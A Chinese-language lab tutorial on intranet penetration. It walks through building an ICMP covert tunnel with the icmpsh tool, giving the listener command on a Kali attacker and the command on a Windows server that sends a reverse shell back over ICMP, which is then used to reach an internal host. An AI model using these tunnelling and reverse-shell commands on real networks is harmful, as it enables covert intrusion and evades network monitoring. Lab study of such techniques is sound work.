内网渗透之隐藏通信隧道ICMP协议以及ICMP工具的使用

ICMP的使用简介
-t host :要向其发送ping请求的主机ip地址。此选项是必需的!

-r:发送一个包含字符串“Test1234”的测试icmp请求,然后退出。这是用来测试连接的。

-d milliseconds:请求之间的延迟(毫秒)

-o milliseconds:毫秒响应超时(毫秒)。如果没有及时收到回复,奴隶将增加一个空白计数器。如果计数器达到某个限制,则从机将退出。如果收到响应,计数器将被设置回0。

-b num :空白数限制(退出前未应答的icmp请求

-s bytes :最大数据缓冲区大小(字节)

同样的我们使用如下图的网络环境

python 外网库 迁移到内网_内网


这里我们没有建立防火墙,所以,我们不做穿透防火墙的演示,我们所演示的是利用kali安装的kali攻击机和windows 2008 R2的web服务器建立icmp隧道连接之后,来ping通windows 7 的1.1.1.4地址

总所周知,ICMP的使用,是需要python的环境,所以,我们使用kali 的环境是python 3 !!!(这里是一个坑)

照常,在kali上安装ICMP工具

第一步:root@kali:~# Git clone htpps://github.com/inquisb/icmpsh.git

第二部:安装impacket第三类库

首先要查看有没有安装

可使用 pip list 命令来查看我们的python安装了哪些库

root@kali: pip list

python 外网库 迁移到内网_网络_02


结果如图,如果出现了impacket的话,就不用重新安装impacket库了,如果没有的话,则使用

apt-get install python-impacket

命令安装,安装完成后,输入

Sysctl -w net.ipv4.icmp_echo_ignore_all=1

来关闭内核ping的响应,(注意,这里是我们能ping其他主机,但是其他主机不能ping自己)

设置之后

我们icmp的目录下输入

python icmpsh_m.py 192.168.206.131(攻击机IP) 192.168.206.129(内网地址IP)

这样就能监听了,但是!!!坑来了,还记得我们之前说过的我运用的是python3 环境吗,

我们在python3 的环境中运行 python icmpsh_m.py 攻击机IP 内网地址IP地址 会运行报错,就出现如下

python 外网库 迁移到内网_python_03


出现如下报错之后,我查了比较多的文件,其实没有得到答案,然后,我查看了自己的python版本,发现我用的是python3的版本,所以,我就修改了一下改成了python2的版本

python 外网库 迁移到内网_网络_04


切换python版本的命令是

update-alternatives --install /usr/bin/python python /usr/bin/python2 100

update-alternatives --install /usr/bin/python python /usr/bin/python3 150
想切换那个环境就直接在后面的100 和150替换就行了,哪个python环境后面的值高,就会切换到哪一个,后面我改成了python2的环境
就是输入
update-alternatives --install /usr/bin/python python /usr/bin/python2 150

update-alternatives --install /usr/bin/python python /usr/bin/python3 100

就变成了python2的环境,变成python2的环境之后,我尝试直接运行

root@kali:~/Downloads/icmpsh# python ./icmpsh_m.py 192.168.206.131 192.168.206.129

开始监听,然后等待目标主机的连接

windows 2008 R2 下载icmp之后,我们不用像kali这么复杂,直接在icmp目录运行

icmp.exe -t 192.168.206.131 -d 500 -b 30 -s 128

然后我们就能获得目标主机(192.168.206.129的shell了)

windows 2008 R2输入

python 外网库 迁移到内网_内网_05


kali即可接收到shell

python 外网库 迁移到内网_python 外网库 迁移到内网_06


成功连接目标主机(192.168.206.129),尝试ping windows 7 机器 1.1.1.4

python 外网库 迁移到内网_IP_07


成功,实验完成

记得重新出入

Sysctl -w net.ipv4.icmp_echo_ignore_all=0哦

总结

在运行ICMP工具中,需要使用python2 的环境,python3的环境会出错,python2相对来说比较稳点
做得比较简易且粗糙,如果有帮助到各位师傅的,不胜荣幸